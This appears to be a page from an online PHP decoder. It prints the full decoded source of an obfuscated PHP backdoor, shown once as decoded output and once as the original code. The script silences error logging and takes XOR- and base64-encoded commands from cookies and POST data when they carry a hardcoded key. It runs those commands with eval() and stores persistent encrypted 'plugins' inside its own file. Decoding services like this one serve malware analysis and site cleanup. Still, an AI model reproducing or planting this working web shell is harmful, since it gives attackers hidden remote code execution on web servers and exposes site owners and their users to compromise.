Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (!defined('stream_context_create ')) { define('stream_context_create ', 1); @ini_se..
Decoded Output download
<? if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "
");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$unobvmdlaqenmb = 'f2a4e274-f345-4dc5-acc8-ed96e07a3d87';global $unobvmdlaqenmb;function rzcvuigw($unobvmdltvrhr) {if (strlen($unobvmdltvrhr) < 4){return "";}$bhvjaq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$hhmprbc = str_split($bhvjaq);$hhmprbc = array_flip($hhmprbc);$ruzzdtt = 0;$erlsqvxv = "";$unobvmdltvrhr = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $unobvmdltvrhr);do {$selxjhk = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$tyoqscli = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$cxvase = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$veqern = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$vdiejvkc = ($selxjhk << 2) | ($tyoqscli >> 4);$ozwfjzgp = (($tyoqscli & 15) << 4) | ($cxvase >> 2);$efxqkev = (($cxvase & 3) << 6) | $veqern;$erlsqvxv = $erlsqvxv . chr($vdiejvkc);if ($cxvase != 64) {$erlsqvxv = $erlsqvxv . chr($ozwfjzgp);}if ($veqern != 64) {$erlsqvxv = $erlsqvxv . chr($efxqkev);}} while ($ruzzdtt < strlen($unobvmdltvrhr));return $erlsqvxv;}if (!function_exists('file_put_contents')){function file_put_contents($bdycdnk, $bdycdnksxmyk, $rnddhzl = False){$ounoxdm = $rnddhzl == 8 ? 'a' : 'w';$shavfpek = @fopen($bdycdnk, $ounoxdm);if ($shavfpek === False){return 0;}else{if (is_array($bdycdnksxmyk)) $bdycdnksxmyk = implode($bdycdnksxmyk);$bdycdnkqibgnmz = fwrite($shavfpek, $bdycdnksxmyk);fclose($shavfpek);return $bdycdnkqibgnmz;}}}if (!function_exists('file_get_contents')){function file_get_contents($ruzzdttirivhia){$robeph = fopen($ruzzdttirivhia, "r");$mzeoooqy = fread($robeph, filesize($ruzzdttirivhia));fclose($robeph);return $mzeoooqy;}}function jnnblzu(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function geidasiy($txzddt, $bdycdnksxmykpfdbq){$ruzzdttwttbf = "";for ($ruzzdtt=0; $ruzzdtt<strlen($txzddt);){for ($unobvmdl=0; $unobvmdl<strlen($bdycdnksxmykpfdbq) && $ruzzdtt<strlen($txzddt); $unobvmdl++, $ruzzdtt++){$ruzzdttwttbf .= chr(ord($txzddt[$ruzzdtt]) ^ ord($bdycdnksxmykpfdbq[$unobvmdl]));}}return $ruzzdttwttbf;}function ibdadpy($txzddt, $bdycdnksxmykpfdbq){global $unobvmdlaqenmb;return geidasiy(geidasiy($txzddt, $bdycdnksxmykpfdbq), $unobvmdlaqenmb);}function sshzmj($txzddt, $bdycdnksxmykpfdbq){global $unobvmdlaqenmb;return geidasiy(geidasiy($txzddt, $unobvmdlaqenmb), $bdycdnksxmykpfdbq);}function khllsv(){$rxnyik = @file_get_contents(jnnblzu());$mdsujoor = strpos($rxnyik, md5(jnnblzu()));if ($mdsujoor !== FALSE){$zowxui = substr($rxnyik, $mdsujoor + 32);$unmcmmac = @unserialize(ibdadpy(rawurldecode($zowxui), md5(jnnblzu())));}else{$unmcmmac = Array();}return $unmcmmac;}function sphtakb($unmcmmac){$qkhemjs = rawurlencode(sshzmj(@serialize($unmcmmac), md5(jnnblzu())));$rxnyik = @file_get_contents(jnnblzu());$mdsujoor = strpos($rxnyik, md5(jnnblzu()));if ($mdsujoor !== FALSE){$bdycdnkejsrh = substr($rxnyik, $mdsujoor + 32);$rxnyik = str_replace($bdycdnkejsrh, $qkhemjs, $rxnyik);}else{$rxnyik = $rxnyik . "
//" . md5(jnnblzu()) . $qkhemjs;}@file_put_contents(jnnblzu(), $rxnyik);}function kgkyvq($xmqmsxht, $oljbhi){$unmcmmac = khllsv();$unmcmmac[$xmqmsxht] = rzcvuigw($oljbhi);sphtakb($unmcmmac);}function wkdxxg($xmqmsxht){$unmcmmac = khllsv();unset($unmcmmac[$xmqmsxht]);sphtakb($unmcmmac);}function sewpqe($xmqmsxht=NULL){foreach (khllsv() as $mtjkux=>$rayvfpxi){if ($xmqmsxht){if (strcmp($xmqmsxht, $mtjkux) == 0){eval($rayvfpxi);break;}}else{eval($rayvfpxi);}}}foreach (array_merge($_COOKIE, $_POST) as $xnwvlbti => $txzddt){$txzddt = @unserialize(ibdadpy(rzcvuigw($txzddt), $xnwvlbti));if (isset($txzddt['ak']) && $unobvmdlaqenmb==$txzddt['ak']){if ($txzddt['a'] == 'i'){$ruzzdtt = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $txzddt['ak'],);echo @serialize($ruzzdtt);exit;}elseif ($txzddt['a'] == 'e'){eval($txzddt['d']);}elseif ($txzddt['a'] == 'plugin'){if($txzddt['sa'] == 'add'){kgkyvq($txzddt['p'], $txzddt['d']);}elseif($txzddt['sa'] == 'rem'){wkdxxg($txzddt['p']);}}echo $txzddt['ak'];exit();}}sewpqe();}
} ?>
Did this file decode correctly?
Original Code
if (!defined('stream_context_create '))
{
define('stream_context_create ', 1);
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);if(!defined("PHP_EOL")){define("PHP_EOL", "\n");}if (!defined('file_put_contents ')){define('file_put_contents ', 1);$unobvmdlaqenmb = 'f2a4e274-f345-4dc5-acc8-ed96e07a3d87';global $unobvmdlaqenmb;function rzcvuigw($unobvmdltvrhr) {if (strlen($unobvmdltvrhr) < 4){return "";}$bhvjaq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$hhmprbc = str_split($bhvjaq);$hhmprbc = array_flip($hhmprbc);$ruzzdtt = 0;$erlsqvxv = "";$unobvmdltvrhr = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $unobvmdltvrhr);do {$selxjhk = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$tyoqscli = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$cxvase = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$veqern = $hhmprbc[$unobvmdltvrhr[$ruzzdtt++]];$vdiejvkc = ($selxjhk << 2) | ($tyoqscli >> 4);$ozwfjzgp = (($tyoqscli & 15) << 4) | ($cxvase >> 2);$efxqkev = (($cxvase & 3) << 6) | $veqern;$erlsqvxv = $erlsqvxv . chr($vdiejvkc);if ($cxvase != 64) {$erlsqvxv = $erlsqvxv . chr($ozwfjzgp);}if ($veqern != 64) {$erlsqvxv = $erlsqvxv . chr($efxqkev);}} while ($ruzzdtt < strlen($unobvmdltvrhr));return $erlsqvxv;}if (!function_exists('file_put_contents')){function file_put_contents($bdycdnk, $bdycdnksxmyk, $rnddhzl = False){$ounoxdm = $rnddhzl == 8 ? 'a' : 'w';$shavfpek = @fopen($bdycdnk, $ounoxdm);if ($shavfpek === False){return 0;}else{if (is_array($bdycdnksxmyk)) $bdycdnksxmyk = implode($bdycdnksxmyk);$bdycdnkqibgnmz = fwrite($shavfpek, $bdycdnksxmyk);fclose($shavfpek);return $bdycdnkqibgnmz;}}}if (!function_exists('file_get_contents')){function file_get_contents($ruzzdttirivhia){$robeph = fopen($ruzzdttirivhia, "r");$mzeoooqy = fread($robeph, filesize($ruzzdttirivhia));fclose($robeph);return $mzeoooqy;}}function jnnblzu(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function geidasiy($txzddt, $bdycdnksxmykpfdbq){$ruzzdttwttbf = "";for ($ruzzdtt=0; $ruzzdtt<strlen($txzddt);){for ($unobvmdl=0; $unobvmdl<strlen($bdycdnksxmykpfdbq) && $ruzzdtt<strlen($txzddt); $unobvmdl++, $ruzzdtt++){$ruzzdttwttbf .= chr(ord($txzddt[$ruzzdtt]) ^ ord($bdycdnksxmykpfdbq[$unobvmdl]));}}return $ruzzdttwttbf;}function ibdadpy($txzddt, $bdycdnksxmykpfdbq){global $unobvmdlaqenmb;return geidasiy(geidasiy($txzddt, $bdycdnksxmykpfdbq), $unobvmdlaqenmb);}function sshzmj($txzddt, $bdycdnksxmykpfdbq){global $unobvmdlaqenmb;return geidasiy(geidasiy($txzddt, $unobvmdlaqenmb), $bdycdnksxmykpfdbq);}function khllsv(){$rxnyik = @file_get_contents(jnnblzu());$mdsujoor = strpos($rxnyik, md5(jnnblzu()));if ($mdsujoor !== FALSE){$zowxui = substr($rxnyik, $mdsujoor + 32);$unmcmmac = @unserialize(ibdadpy(rawurldecode($zowxui), md5(jnnblzu())));}else{$unmcmmac = Array();}return $unmcmmac;}function sphtakb($unmcmmac){$qkhemjs = rawurlencode(sshzmj(@serialize($unmcmmac), md5(jnnblzu())));$rxnyik = @file_get_contents(jnnblzu());$mdsujoor = strpos($rxnyik, md5(jnnblzu()));if ($mdsujoor !== FALSE){$bdycdnkejsrh = substr($rxnyik, $mdsujoor + 32);$rxnyik = str_replace($bdycdnkejsrh, $qkhemjs, $rxnyik);}else{$rxnyik = $rxnyik . "\n\n//" . md5(jnnblzu()) . $qkhemjs;}@file_put_contents(jnnblzu(), $rxnyik);}function kgkyvq($xmqmsxht, $oljbhi){$unmcmmac = khllsv();$unmcmmac[$xmqmsxht] = rzcvuigw($oljbhi);sphtakb($unmcmmac);}function wkdxxg($xmqmsxht){$unmcmmac = khllsv();unset($unmcmmac[$xmqmsxht]);sphtakb($unmcmmac);}function sewpqe($xmqmsxht=NULL){foreach (khllsv() as $mtjkux=>$rayvfpxi){if ($xmqmsxht){if (strcmp($xmqmsxht, $mtjkux) == 0){eval($rayvfpxi);break;}}else{eval($rayvfpxi);}}}foreach (array_merge($_COOKIE, $_POST) as $xnwvlbti => $txzddt){$txzddt = @unserialize(ibdadpy(rzcvuigw($txzddt), $xnwvlbti));if (isset($txzddt['ak']) && $unobvmdlaqenmb==$txzddt['ak']){if ($txzddt['a'] == 'i'){$ruzzdtt = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $txzddt['ak'],);echo @serialize($ruzzdtt);exit;}elseif ($txzddt['a'] == 'e'){eval($txzddt['d']);}elseif ($txzddt['a'] == 'plugin'){if($txzddt['sa'] == 'add'){kgkyvq($txzddt['p'], $txzddt['d']);}elseif($txzddt['sa'] == 'rem'){wkdxxg($txzddt['p']);}}echo $txzddt['ak'];exit();}}sewpqe();}
}
Function Calls
defined | 1 |
Stats
MD5 | d57b5e9b7349cfd3d4b14bca748a20e3 |
Eval Count | 0 |
Decode Time | 60 ms |